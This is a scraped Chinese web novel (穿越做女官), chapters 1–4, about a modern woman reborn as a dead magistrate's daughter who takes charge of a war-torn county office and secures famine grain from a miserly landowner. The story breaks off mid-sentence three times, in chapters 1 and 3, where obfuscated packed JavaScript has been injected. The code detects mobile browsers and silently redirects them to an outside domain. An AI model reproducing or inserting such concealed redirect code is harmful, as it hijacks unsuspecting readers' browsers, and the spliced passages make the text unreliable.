《穿越做女官》 1. 第 1 章 “有呼吸了!” “大姐儿醒了!” 苏清睁开眼,眼前却一片雾蒙蒙的,像是隔着一层纱。 耳边是众人嘈杂的声音。 她不是救了落水小孩之后,就死了吗。 大姐儿,又是什么称呼。 难道当了两年社畜,辈分直接上来了? 苏清一阵疲惫,昏昏沉沉又睡过去。 梦里,一个古代官员打扮的中年男人带着个十五六岁的小姑娘朝她深深一拜,似有托付。 小姑娘泪眼婆娑地喊了句爹,男人叹口气,摸摸孩子头发,缓缓离开。 好奇怪的梦。 苏清忽然惊醒,大量碎片化的信息涌入脑海。 六月初七的深夜,月光洒在床榻上的苏清身上,照的她眸子发亮。 现代当社畜的她确实死了。 还好救下来的小孩活了下来,死的不亏。 或许老天不忍她这样死,故而让她来到另一个世界。 成为顺昌国广乐府南江县的县令之女苏清。 穿到古代就算了。 重点是,这个顺昌国正处于战乱当中。 新皇登基不到三个月,亲叔叔起兵造反,最顶峰的时候,甚至拿了大半江山。 全靠新皇亲弟用兵如神,才陆陆续续收复失地。 位处顺昌国西边广乐府南江县,就是收复的失地之一。 而此地的苏县令,就是死在奋勇抵抗叛军的最后一夜。 多数官吏在叛军来之前,便四散而逃,只有他带着县里余下官吏,奋勇抵抗。 正因如此,苏县令死状格外惨烈。 他的妻子梅娘,以及一双儿女,也被叛军时时搜查。 大女儿苏清在躲避贼兵时,被烧毁断裂的房梁砸得五脏具碎,当场气绝。 若不是梅娘背着四岁小儿,还要拼尽全力收敛女儿的尸体,苏清的尸体只怕比苏县令的还要不忍直视。 之后,便是总兵率军赶走叛军,一路将叛军打到江对岸。 江北如何暂且不提。 南江县这边,终于止住兵祸,有了片刻喘息之机。 现代的苏清,也就是这个时候,成为古代的苏清。 苏清叹口气,还好现代的自己没什么亲人,想来也不会有人伤心。 不过姥姥若还在在世,她大概不会那么莽撞救人。 想到姥姥,苏清眼神黯淡。 至于刚刚梦里看到的古代官员跟小姑娘。 大概就是苏县令跟苏家大姐儿苏清? 他们坚持了三个月。 明明就差一天,再坚持一天,朝廷官兵就来了。 他们一家四口还能好好在一起。 苏清刚想翻个身,背上的伤口又开始渗血,疼的她差点喊出来。 只这一个细微的声音,外间的梅娘急切起身走来,见女儿睁着眼,惊喜地捂住嘴。 孩子真的醒了。 真的好起来了。 大家都说大姐儿没了呼吸,只她不信。 一会苏家小儿子苏澄也爬起来,跟着小声哭。 一家三口,两个哭的不行,苏清眨眨微微湿润的眼眶,小声道:“我还好。” 话音落下,苏清就听到自己干涩的嗓音。 这听起来一点也不好啊! 喝了温水,又被重新包扎了伤口的苏清没有睡意。 终于可以思考现在的处境。 苏县令不在了,他们剩下的三个人该何去何从。 根据原身的记忆,他们老家距离南江县一千多里地。 不说正逢兵祸,即便没有乱子,脾气柔弱的梅娘,再带上十六岁的她,还有四岁的弟弟,都很难平安回去。 这配置,谁看都觉得是肥羊。 所以直接回乡,只怕不成,暂时留在南江县是现在最好的选择。 最好还能继续住在衙门后宅里,至少安全有保障。 只是不知道,现在衙门主事的官员,是否会允许他们继续住下去。 苏清不自觉地盘算起他们三个人以后的生活。 想来,也是不想愧对苏县令的托付。 苏县令,实在是好官,也是个好人。 “娘,衙门现在谁主事。” 梅娘虽疑惑女儿的问题,却直接作答:“无人主事。” 无人? 不应该啊,县令没了,其他官员不争着顶上去吗。 梅娘的轻声解释缘由。 换做平常大小县,县令死在任上,下面的人自然争先恐后的补缺。 但这是战乱过后的南江县。 不说叛军刚走没两日,谁知道什么时候会不会再杀回来。 只讲县城里面,民居烧毁,城墙被毁,伤员无数。 各处十几个义仓社仓粮仓全都被贼军抢空了。 这般烂摊子,谁愿意补缺? 再说衙门内里。 县令没了,主簿也死在贼军手中。 县丞是苏县令好友,他妻儿具丧,已无心公务,且他也不是个能掌大局的。 余下的典吏为苏县令亲弟弟,也就是苏清三叔,早在敌军刚来的时候便跟两个捕头一起跑了,因此苏县令还颇受诟病。 剩下最后的王捕头,昨天他两个儿子跟着总兵队伍入伍了,还是主动投军,气的他正托关系把俩儿子找回来。 教谕更不用讲,他家向来胆小怕事,不肯多做一步。 还真是,一团乱麻。 怪不得没人肯接手。 苏清目光一闪。 这岂不是好机会。 与其让衙门其他主事的人安排他们的生活。 不如自己掌握主动权。 姥姥以前说过,我们自己的命运,应当由我们自己掌握。 以前左耳朵进右耳出。 没想到在此刻,却直接出现苏清脑海里。 只是她非官非吏,甚至并非有功名的男子。 这里毕竟是古代,如何顺理成章接手。 倒是个问题。 苏清看着天光乍亮,气息一点点恢复,听到门外有人道:“梅娘,大姐儿可好些了。” 苏清忽地坐起来,又碰到伤口。 娘什么都好,就是不太会包扎,还是她自己来吧。 她跟姥姥学的,好像都没忘。 苏清一边重新包扎伤口,一边对门外的人道:“朱婶娘,我好多了。” 说话间,朱娘子带着十岁的女儿走进来,两人眼睛红肿,必是彻夜哭泣。 朱娘子的丈夫便是已过世的南江县主簿。 她家与苏家一样,都是没了顶梁柱。 苏清道:“朱婶娘,你们这么早就来了,当心自己身子。” 那边梅娘端来早饭,不算多的稀饭跟饼子,分给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279181|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏家三口人,还有朱家母女两人。 梅娘向来公正,分的不偏不倚。 朱婶娘吃的有些不好意思,紧着女儿先用,自己答道:“左右睡不着,想着来看看你们。” 苏清点头,叹口气:“也不知以后何去何从。” 此事说到朱婶娘心坎上,更是颓丧。 苏清见此,就知道自己猜对了。 苏家没了苏县令,朱婶娘的丈夫刘主簿也没了,很担心以后的去处。 要是被撵出衙门后宅,日子会跟难过。 人死不能复生,活着的人必须考虑以后的生活。 苏清直接道:“只看衙门主事的是谁,会不会答应大家继续住下。” 一屋子妇孺看向大姐儿苏清,只听她继续道:“不过,在没有主事的之前,朱婶娘跟刘妹妹尽管安心住在衙门,我爹向来宽厚,想来他若在,必不忍属下妻儿日子难过。” 朱婶娘跟刘妹妹脸上重新添了光彩。 是了,苏县令宽厚。 他若在,一定不会赶走孤儿寡母。 随后又浮现愁容。 可他不在了啊。 梅娘定定神,开口道:“等办了相公跟刘主簿的丧仪,我们找找外面的宅子,两家住在一起,也有个照应。” “日子总能过下去。” 朱婶娘过来,同样是这个意思。 两家人至少有依靠。 如今兵荒马乱的,贼寇流匪极多。 别处可没衙门这般安全,匪贼到底有些顾虑此地的威势。 两位娘子尽量把外面想的好些,给自己鼓些胆气。 旁人能住的,她们两家也可以。 苏清听着,冷不丁道:“倘若我是衙门的主事呢。” 此话一出,众人还以为自己听错了。 大姐儿怎么能当南江县衙门的主事。 倘若他是个哥儿,还能接着父亲的遗志。 但苏清下面的话,让两位娘子颇为心动。 “我要是当了衙门主事,接替父亲的差事,咱们两家都不用搬出去了。” “贼兵对我爹跟刘主簿恨之入骨,若脱离衙门,说不定要放冷箭。” “咱们也不是本地人,一无亲族,二无友邻,更是孤立无援。” “这般情形,只有我接替父亲的差事,方能保两家平安。” 苏清说的句句属实。 她家跟刘主簿家都是外地来做官。 在本地无半点依仗,离开衙门,便是完全陌生的环境。 她们这一群人,两个不到四十的娘子,两个十六,十岁的小姑娘,还有个四岁的小孩。 还有贼兵对朝廷官吏的亲眷虎视眈眈。 太危险了。 可是,大姐儿一介女子,去当一群男人的主事。 可以吗? 梅娘第一个开口:“试一试。” “大姐儿想试,那就试试。” 苏清下意识看向梅娘,在梅娘眼中,闪过的是另一种坚定。 她不是为了留在衙门才支持苏清。 完全因为女儿开了口,便要支持。 朱婶娘似乎被这个消息惊到了,过了好一会才道:“那就试试,能成是最好的,不能成咱们再搬出去。” 带着血腥味的屋子里,苏清终于松了口气。 这个衙门主事。 她当定了。 2. 第 2 章 第2章 苏县令的丧仪草草办完。 不止是他,全县的丧事基本都如此。 死的人太多,人们已经来不及悲伤,还有很多事需要处理。 比如衙门停摆多日。 从上数到下,根本支撑不起来如今的衙门,更别谈处理政务。 梅娘将苏县令的牌位安置好,带着两个孩子洗手上香,眼中隐去热泪。 从六月初七到这里,如今六月十四,苏清已经能下床走路。 附近的大夫还说,本以为她已经气绝,没想到又还魂了。 看来是老天爷保佑,土地公公显灵。 这话一说,苏清大概知道这大夫的水平,怪不得没有怀疑啊! 听说是战乱之前,南江县县城百姓就走了大半。 但凡有些能力的,皆携家带口离开。 不走的,多半各有原因。 县城衙门的情况也差不多。 苏清这几日细细打量了。 从上到下,从内到外,算上妇孺。 留下的,还不到十五人。 怪不得没人接手衙门的差事。 南江县太平的时候,衙门上上下下百十来号人,如今跑了个七七八八。 想要办成公务,要么有钱,要么有人。 南江县衙门,什么都没有。 给苏县令上完香,苏清带着刘小妹去了衙门大堂。 梅娘跟朱婶娘看着她们两个,眼里带了些忧虑。 苏清从内宅出发。 到了三堂,草草看了眼税库银局。 接着是二堂的主簿衙跟县丞衙。 主簿已故,县丞的家人也去了,如今冷冷清清的,只有两三个书吏。 苏清拍拍刘小妹肩膀,继续往前走。 二堂过大堂的门房处,还有个小子看门,见大姐儿来了,还道:“苏姐姐,是后宅有什么事吗。” 苏清道:“我去大堂看看,有何公务。” 什么? 公务? 看门小子还未回神,反而是大堂里的顾秀才看了过来。 苏清带着孝,一身素衣,刘小妹也一样。 这衙门上下,县城上下,几乎家家如此。 眼前的书生却罕见没有带孝,不过衣服也较为低调。 苏清稍稍点头:“顾哥哥。” 不管顾从斯如何疑惑,苏清走到大堂之上,翻看堆积的文书。 刘小妹也怯怯的喊了句顾哥哥,有些惧怕地躲在苏清身后。 不是她胆小,是她怕县学的夫子! 顾哥哥他爹是县城教谕,作为秀才,得闲的时候也会充当夫子教课。 故而顾哥哥不过十九,但说是夫子,也不为过。 苏清注意力都在文书上,没看到顾从斯古怪的眼神。 这文书从南江县沦陷初期,一直堆积到现在。 三个多月的文书想要看完,着实费些工夫。 古代的行文方式跟现代有所不同,靠着原身对文书的熟悉,苏清才勉强看下去。 顾从斯看出她的吃力,开口道:“很多文书已经过期作废,多是战报,还有下面二十村的情况。” 苏清抬头看向顾从斯:“那就分分类,把时效过了的文书分出来,看看有没有紧急的公务要处理。” 说罢,苏清坐到苏县令的位置上,挪出一摞文书让顾从斯一起看,又搬来一摞给刘小妹看。 大家都别闲着! 苏清的动作太过理所应,十岁的刘小妹赶紧搬了个凳子,自己去看。 顾从斯迟疑片刻,只好跟着整理。 看了二十多份文书后,苏清翻看的速度明显变快。 公文都有定式,找到规律之后,并不算难。 从被占城初期,还能收上级文书。 再到下面四乡二十村的情况,然后是县城左右码头的情况。 等到占城后期,这些绝迹不见了,增添不少百姓逃亡的消息。 苏清三叔带着妻儿逃走的消息也在其中,苏县令还翻看过。 桌面上的文书处理完,苏清大概明白南江县的情况。 听名字就知道,南江县紧邻江边,还有一条支流小河横穿县城,将县城分为东西两部分,故而也有了左右两个码头。 战乱之前,凭借船运买卖,日子还算不错,县城常住人口约莫有六万人,如今只剩四万。 下面的四乡二十村,以前共有十二万人,如今有多少并不知道。 占城后期,已经跟下面乡长里正等人失了联系。 现在战乱暂时平息,但衙门一直无人主事,故而没有最新消息。 苏清看了看,先把下面情况压下。 她倒是想派人去了解情况,手头无人可用,还是顾好眼下。 “你!你们!”顾教谕着急忙慌出现。 县学离衙门虽近,走过来却需要些工夫,急的他直跳脚。 好在看见刘小妹也在,总算松口气。 只是再看儿子顾从斯手里拿着衙门文书,当下又瞪眼:“不是让你去温书,来衙门大堂做什么。” 说着,好像就觉得文书有脏东西一般,一把夺来,放到桌案上。 苏清笑着起身,称呼一句顾教谕。 这就是顾从斯顾秀才胆小怕事的爹了。 战乱开始,他家藏的最好,一家三口皆平安。 等顾教谕气喘匀,方才道:“你,你怎么坐在这个位置?” 那不是县令的位置,衙门主事的位置。 苏清就怕他不问,当下答:“爹没了,衙门一直没有主事的,想着也不成。” 说罢,苏清落下两滴眼泪:“昨晚头七,爹托梦说,让我来这里看看,拿拿主意。” 顾教谕冷静下来。 他听到门房小子传话,说他儿子跟大姐儿单独相处,生怕两人有什么,这才着急过来。 苏县令虽是个好人,也是个好官,到底人走了。 就算两人没什么,儿子看文书也不行啊。 谁不知道南江县衙门是个烂摊子,此时接手,等着背锅。 不管托梦说辞是真是假。 更不论苏县令女儿看文书成不成体统,只要自家能躲远点即可。 “此事于理不合。”顾从斯皱眉,“衙门哪有让女子做主事的。” “你放心,我之前跟着苏县令做过文书,不会。” 话未完,顾教谕的眼神已经杀过来,他千叮咛万嘱咐,没用是吧? 顾从斯只好闭嘴,父亲在这,他不能忤逆。 苏清看出缘由,当即道:“并非女子主事,只是替父承担责任,就全了我这份孝心吧。” 说着,手底下动作并不停,让刘小妹帮忙整理桌案,明显要办公了。 这番惊世骇俗举措,让顾家夫子齐声制止:“不可!” 苏清微微抬眼,看向顾教谕:“那您来主事?” 更不可! 等苏清眼神挪到顾从斯身上,顾教谕更是摇头。 苏清直接坐回位置:“同门房小子说一声,他既跑的快,跑的勤,就把衙门还在的官员,书吏,捕快,差役,都请过来。” “无论如何,也要议一议这衙门接下来的事。” 顾从斯本要去说,他爹却拦下,自己去找门房小子,明显有话交代。 一时间,大堂又剩下苏清,顾从斯,刘小妹三人。 顾从斯目光在两人身上转了转,似乎明显什么,当即道:“你不必强撑,不管衙门谁主事,定不会赶你们走。” 苏清再次抬头,从原身的记忆里,她很清楚顾从斯顾秀才的为人。 十八岁考中秀才,科举有望的端方君子。 他开这口,必不会食言。 只是衙门谁人去留,他又做不得主。 苏清垂眼思索片刻,抽了几本文书递给刘小妹,让她放到二堂县丞衙,也就是县丞办公的地方去。 大堂只剩顾从斯跟苏清两人,只见苏清满眼是泪,声音哀恸:“倘若是顾哥哥主事,我家与朱婶娘必不会怕。” “顾教谕或许会让顾哥哥帮忙处理公务,却断不会让你主事。” “这岂不是,将我们妇孺五人的生计,交到他人手中。” “想要留下,唯有我挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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武捕头上前几步,眼圈全红:“给前线通信?能给我儿子写信吗?!” 他两个儿子,前几日都投军去了! 至今没有音信! 苏清认真点头:“可以,等衙门恢复公务,便能跟各方联系,统计本地士兵人口,与前线联系,本就是职责所在。” “不仅是您家里,还有其他士兵家中,让他们知道家里安好,让他们保重身体,早日归家。” 前线士兵跟后方军属,最迫切的心情,就是知道彼此的消息。 苏清姥姥是战争年代过来的,她无数次说起过,军人收到家里信件时的喜出望外,更说起家人得知孩子平安的激动。 苏清心里暗叹。 姥姥上辈子为她操心,这辈子还在冥冥之中保佑她。 武捕头深吸几口气:“那还说什么,你赶紧联系吧,大姐儿说什么,我就做什么。” 这话,就是同意苏清主事。 如今,只剩下顾教谕跟顾从斯。 其实顾教谕倒还好,只要儿子不掺和即可。 就是从斯太固执,苏清那几句话糊弄武捕头尚可,倘若说起圣人言,必讲不过他儿子。 众人目光下。 顾从斯艰难开口:“事急从权,苏县令不在了,请他家暂掌县印最为合适。” 全票通过! 苏清终于露出笑容,握住巴掌大的县印,开口道:“那就,议事吧。” 只是此刻,有什么事可议? 灶上两位厨娘对视一眼,大着胆子上前:“大姐儿,灶上马上就要没粮了。” “精打细算,也够上上下下十几个人三日的口粮。” “我们正发愁要找谁说呢,原打算寻县令夫人讲,如今正好说出。” “还请大姐儿示下。” 3. 第 3 章 第3章 回到后宅,梅娘,朱婶娘从刘小妹口中,得知大堂发生的事。 好消息是,衙门仅剩的人,已经同意让大姐儿主事。 坏消息,马上要断粮。 都说巧妇难为无米之炊。 衙门的钱粮在被占城时,基本消耗殆尽。 仅剩的库存,也被敌军搜刮走。 县城东西南北四个地方,倒是有四个义仓。 义仓的作用,就是平时囤积粮食,遇到灾祸时拿出来。 但顾从斯说,他已经去看过了,四个义仓有三个被烧毁,还有一个也被抢干净。 苏清知道,自己必须解决吃饭问题。 否则她这位置,绝对坐不稳。 “城里的粮商们基本都跑了,寻常人家就算有些积累,也绝不会在这个时候卖钱。”朱婶娘作为主簿娘子,平常听她家那口子念叨,对此还是很熟悉的。 苏清点头:“如今才六月十五,南江县秋收则在八月中到八月末,大家都要紧着过日子。” 苏清上辈子跟着赤脚医生姥姥,在村里长大,大概明白种地的时节。 她在记忆里敏思苦想,终于在角落里想到一个人。 “城南王乡绅。” 苏清话音刚落。 “不可!” “他家肯定有!” 前一句是梅娘说的,赶紧补充:“你爹都说他那人难缠,平日吝啬,怎么肯借粮。” 后句是朱婶娘讲的,她随后点头:“是了,别看他家田地十几顷,断不可能借粮的。” 能被称为乡绅,要么当年做过官,要么家大业大。 王乡绅明显属于后者。 苏清别的都没听到,就听明白王乡绅家里有粮,还有十几顷地。 一顷相当于一百亩地。 十几顷,一千多亩?! 大地主啊。 她有些冲动已经按捺不住了。 “就他了。”苏清道,“明日一早就登门。” 六月十六清早。 苏清带上刘小妹,想了想,又喊了顾秀才,武捕头,再带上昨日多嘴的门房小子。 那小子不过十四,生怕如今主事的大姐儿为难他,一路战战兢兢,做事极为用心。 今年三十九的捕头,看看十六的主事大姐儿,十岁的小跟班刘小妹。 再有今年不过二十的顾秀才的,颇为头疼。 他昨日怎么就信了,大姐儿能成事啊。 这就是阿二盲手吃肉,抓瞎! 话虽如此,武捕头却自觉担起保护大家的重任,难免警觉。 不管事成不成,不能伤到孩子们。 苏清从衙门出发,上了往南的主街。 主街冷冷清清,零散开了几个铺子,也无多少货物。 路过县学时,同样萧索,顾教谕倒是在里面扫洗,不能失了官学体面。 再往前没多久,主街东边便是王乡绅的宅邸。 这宅邸建得四平八稳,粉墙青砖,看着颇有几分古意,听说传了三代人。 因这王家并无做官的亲戚,大门只写了王家两个字,落款倒是极长。 “是请府城大儒写的,很有体面的书香世家。”顾从斯解释道。 苏清微微点头,让门房小子去传话:“就说衙门来人,请王乡绅叙话。” 那小子机灵,果然办好差事。 不多时,就有王家下人迎过来。 只是真坐到宅子客厅里,却不见王乡绅身影。 “老爷去巡庄子了,说是下午才能回。”管家笑眯眯地打量苏清,自然是不屑的。 衙门里还真是阿斗当皇帝了。 这还是个女阿斗。 想来必是个软弱无能的。 闭着眼就知道,这群人想来借粮。 岂不是做梦。 苏清端起茶盅,笑着道:“好吧,那就等一等。” 果然,是个软弱可欺的。 园子里听曲的王乡绅听了回话,拍着大腿只乐:“晾一晾罢。” 早上过来,等到中午吃饭,王乡绅才施施然走来,嘴里道:“哎呀,知道衙门来人了,我才匆匆回来,原本要下午才能回呢。” 等了一上午的苏清也不恼,知道他们是来借粮,手里无人无粮,少不得弯腰客气:“王乡绅辛苦了,想来必是庄子上有好收成,这才如此开怀。” “能挣这样一份家业,果然了不得。” 顾从斯听了,颇有些不自在,他实在不知苏清如何能开得了口。 武捕头是个粗人,早就不耐烦,跟刘小妹一样,都不自在。 倒是门房小子顺着话讲:“那可不是,王乡绅在咱们整个南江县都是有名望的,瞧瞧这宅子,小的都看懵了。” 被两人一夸,王乡绅哈哈大笑,不过借粮的事,还是给婉拒了。 “不是我不想为衙门出分力,而是时节艰难,下面佃户的租子根本收不上来,难啊。” “我家也是没有余粮的!” 苏清心里暗道,看来古往今来的地主们,都喜欢说这句话。 苏清面上苦笑:“王家如此家业,再难也比我们衙门强些。如今衙门剩的人不多,只为吃饱饭罢了。” “以后日子太平,朝廷换了新主事过来,必然会重谢王乡绅。” 王乡绅或许看不上眼前的衙门“班子”,觉得他们不成事。 但绝对会跟以后真正“班子”打好关系,他们这些人却能美言几句。 果然,王乡绅虽吝啬,却也知道为长远考虑,难免动心。 下午申时,也就是下午三点。 苏清带着十五石粮食出来,约莫一千八百斤,白面小米杂面皆有。 顾从斯跟武捕头脸色极为难看:“这不是打发叫花子吗!” 更可气的是,苏清还收了! “大半个月的口粮都有了,至少不会饿肚子!”门房小子兴奋极了。 刘小妹不明所以,紧紧贴着大姐儿。 回到衙门,武捕头发作起来:“大姐儿,咱们是衙门的官吏,不是要饭花子。” 苏清直接打断他:“那应该如何要?强硬些?” 顾从斯不言,显然这么打算。 “你们就不怕,他们的家丁佃户,把我们打出来?” 他们敢! 他们怎么不敢。 衙门只有一个名不正言不顺的大姐儿。 还有一个捕头,两个差役。 为何不敢。 江那边还在打仗。 朝廷根本没工夫管这些小事。 朝廷的权威,也是建立在掌握经济和武力上的。 都说山高皇帝远,都说某某家是土皇帝。 在如此时刻,这些乡绅不是土皇帝,是真皇帝。 在她那个时空的混乱时刻,大地主强占县长女儿的事情又不是没有。 果然,武捕头顾从斯稍稍冷静,只是已经决意不吃这些求来的粮食,表示自己还有骨气。 苏清莫名看了他们一眼,正要开口,便听衙门外头有人喊道:“有人晕倒了!” 苏清第一个出去查看情况,只见一个白发苍苍的婆婆骨瘦如柴,脸却微微浮肿,必是饿的了。 衙门众人顾不得争执,七手八脚去救老婆婆,喂了几口小米汤之后,果然缓过来。 衙门都没粮了,何况普通百姓家中。 这种情况,并不是偶然。 苏清看着,反而笑了下,对武捕头顾从斯道:“留下衙门五日口粮,剩下的,施粥救人。” 不行! 武捕头下意识想反对,但意见最大的还是门房小子。 顾从斯眼前一亮:“这是好事。” 可转念想到,粮食就这么多,下次难道还要去求王乡绅? 若是这般,倒是能咬牙一去。 门房小子跳脚:“咱们本就没多少粮,施粥又能救几个人?王乡绅那样吝啬,无论怎么求,都不会给第二次的。” “大姐儿您这就不怕他们的护院佃户了吗!” 苏清又笑,反而思索片刻:“想来衙门上上下下十五个人,施粥人手不够,再召集一次衙门官吏差役,让他们速速回来当值。” “别的不说,至少有口饭吃。” 衙门下面文书差役最为艰苦,苏县令又是个清廉的,他们捞不到油水,日子不会比普通百姓强多少,能吃饭确实是个不小的诱惑。 其实苏清自己对饥饿的感受并不深。 但经历过战争年代,三年饥荒,做过赤脚医生的姥姥说过很多次。 粮食,就是吃不饱年代最大的诱惑。 门房小子大声哀号。 本来衙门就只留五日口粮,现在又召人回来,更不够吃啊! 这次急着去办差的,反而是其他人。 武捕头让手底下差役去喊其他兄弟们回来当差。 几个文书也喊之前的同僚回来。 顾从斯则去安排施粥之事。 第二天天不亮,本来冷清的衙门变得闹闹哄哄。 “你来当差?” “你也是吗?” “想着衙门有主事的了,赶紧回来当值。” 此话一出,众人互相看看,骚红脸皮。 到底是来当差,还是求口粮食,不让自己跟家人饿死,只有他们自己知道。 天还没亮,各房吏员来了三个,吏书来了八个。 差役来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279183|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十五个。 不仅门内热闹,门外也有百姓等着。 听说衙门要施粥,他们天不亮就来了。 大家都饿啊。 苏清此刻出现,她一身素衣,带着孝,利落走到众人前面,开口道:“我爹说过,衙门最苦不过吏员吏书差役。” “他为官清廉,手下人难免过的苦些。” “逢了战乱,连糊口都难,更别论其他。” 她这话便是给大家递了台阶,不过接下来讲的,倒是出乎大家意料:“不过若领了衙门的粮食,便要为衙门当差,此事做不得假。” 她身后跟着小尾巴刘小妹,还打着哈欠。 一左一右为顾从斯,武捕头。 苏清的意思很明显。 吃衙门一日饭,就要当一日差。 若是跑了,就要另说。 这些吏员文书差役,以前都是见过苏清的,知道她是苏县令家的大姐儿。 此刻皆拱手称是,场面也没那样乱了。 有一日饭就当一日差,他们明白的。 只是听说,衙门的粮食并不多,那王乡绅可不像大方的人。 苏清不再解释,指挥人去起锅熬粥。 人手倒不缺,不管是赶来当差的官吏差役,还是门外妇人,都能搭把手。 苏清又吩咐顾从斯武捕头:“拿着县城户籍单子对应,每户按照家里人数来领。” “只准妇孺老人排队,若有闹事男女,当众捉住,不问缘由,直接脊杖二十,押往监牢。” 两人称是,带着众人组织施粥。 苏清见门房小子一脸憋闷,随口道:“你还有话要说?” 门房小子气恼:“本就只有一千八百斤粮食,咱们留下一百四十斤,剩下的每日施粥四百斤。” “可那四百斤粮做成粥,也只有四千多人。” “而且满打满算,只够施四天的粥,对偌大的县城来讲,根本不够啊!” 苏清本是随口一问,没想到对方连珠炮一般回答,而且讲得井井有条。 苏清又问:“你上过几年学,算术倒是不错。” 门房小子憋闷:“两年,不会背书,只会算术,苏县令见我可怜,就让我当门房了。” “我爹觉得你可怜,让你当门房,你就去告我的状?” 这指的,还是他去找顾从斯他爹通风报信的事。 门房小子摸摸鼻子。 苏清倒知道,他的算术应当是顾教谕教的。 说话间,梅娘朱婶娘跟两位厨娘来了,她们做好衙门众人的早饭,好让大家轮换着吃。 苏清也赶着去吃饭,放下一句话道:“放心,我不会让大家饿到。” 衙门众人的早饭也没好到哪去。 除开稀饭外,一人多了一个杂面饼,用了些梅娘之前留下来的猪油。 苏清把杂面饼分了两半,给了刘小妹跟门房小子云喜,自己吃了粥就咸菜。 梅娘给女儿拢拢头发,眼神带着怜爱。 大姐儿睡得晚,起得早,时时想着大家吃饭问题。 好在女儿看着精神尚好,她便没有多说。 情况跟门房云喜说的一样,三四日时间,不管衙门官吏们的饭食,还是百姓们的赈灾粥,都已经见底。 六月二十一,天刚大亮,苏清又喝了碗粥,这次再也吃不下咸菜,整理整理衣裳。 差役快步走来:“大姐儿,今日还未施满半日,赈灾粥便见底了,门外百姓都急等着呢。” 都火烧眉毛了,大姐儿怎么还不着急。 大家以为她又弄来粮食了啊。 苏清微微一笑:“走吧,去看看。” 门外的百姓瘦得皮包骨,好在吃了四天的粥,总算有些力气。 这几天里,武捕头把秩序维持的很好,狠打了几个闹事的,大家遇事也不急恼,能安安静静听衙门主事的说话。 苏清看着百姓,认真道:“衙门确实无粮了。” “故而,我要去王乡绅家借粮。” “诸位可有愿跟我同去的。” “借来了粮,便可继续施粥。” “时局艰难,我等必要坚持至夏收秋收。” 也就是说,施粥至少维持两个月,让大家渡过难关。 其中所需的粮食,必然是天文数字。 听到这话的王乡绅脸色苍白。 急着想要出城躲难。 报信的前脚到,苏清后脚便带着衙门众人赶来。 王家宅邸外,还有上千男女老幼。 苏清坐在王家客厅,放下茶盅,笑眯眯道:“王乡绅,别来无恙。” “这次,我还是来借粮的。” “借一万五千石。” 4. 第 4 章 第4章 “多少?!”王乡绅大惊失色。 上次一百五十石,为一千八百斤。 这次一万五千石,便是一百八十万斤! 开什么玩笑! 他怎么拿得出来! 苏清不听他辩解:“当真没有?” “怎么可能会有!你知道一亩地能收多少粮食吗,你知道我家有多少田地吗?!便是把我卖了,也不可能有这么多!”王乡绅大喊道。 可他很快意识到,时隔四五天再次过来的苏县令女儿,已然有了依仗。 外面那些刁民们,声音震天响。 其中还有他的佃户过来凑热闹,等他得闲,必要好好收拾那几个冒头的。 “县里闹饥荒,总不能让我一家承担吧。”王乡绅这次话多起来,“各乡也有几个大户,为何不去说说?” 苏清挑眉:“好吧,我一定会把这话,如实转达给那些大户。” 王乡绅暗道自己说错了话。 那些人知道自己怂恿苏县令女儿去问他们要粮,心里不一定怎么恼,当下道:“总之再怎么威逼,我也没有。” 说罢,袖子一收,脸色难看得要死。 苏清伸手,刘小妹把衙门往年账簿递过来,苏清道:“你家十几顷地,一年下来,确实没那么多收成。” “但你做着粮食的买卖,本地外地粮商,总要在你这里过了关,才能通过码头运出。” “他们从南江县逃走之前,那些粮食托付给谁了?” 别说王乡绅,跟着苏清过来的武捕头,顾从斯,门房小厮云喜都不知道这样详细。 顾从斯倒是隐约记起王乡绅确实做这买卖,却从未将此联系到一起。 苏清更道:“其中一户粮商,为江南吴田府的叶家,他家在江南一带都是大粮商了,王家又帮忙保管了多少?” 王乡绅直接站起来,面上难看。 他没想到,苏县令女儿犹如断案老吏,真就摸清他这里的情况。 不对,苏清在诈他。 那些粮他藏的极深,根本没人知道。 躲过这阵,他就能把粮食卖出天价,银子到手,谁管有的没的。 只是眼看门外灾民群情激奋,王乡绅知道自己多少要出点血。 不过一万五千石是没有的。 顶多一千石,那也十二万斤粮食了。 苏清岂会答应,步步紧逼。 最后搬走三千石,气的王乡绅脸色铁青。 苏清看着差役们搬粮食时,还在看王乡绅的表情,随口问身边人:“他是装的,还是真的。” 顾从斯先答:“三十六万斤粮,已经不少了,多是真的肉疼。” 苏清不语。 总觉得王乡绅还有油水。 苏清又翻了账目,看着叶家去年交的税银。 按理说交过税银,粮食应该装船拉走了? 如果没有带走,必然能凑够一万五千石粮食。 要是有了这些粮,南江县百姓就能熬到秋收。 顾从斯还有话要说,苏清已经吩咐:“打听外地粮价多少,一部分以平价放入市场,平息本地粮高之苦。” “再把施粥的分出来,跟前几日一样,粥不能太稀。” 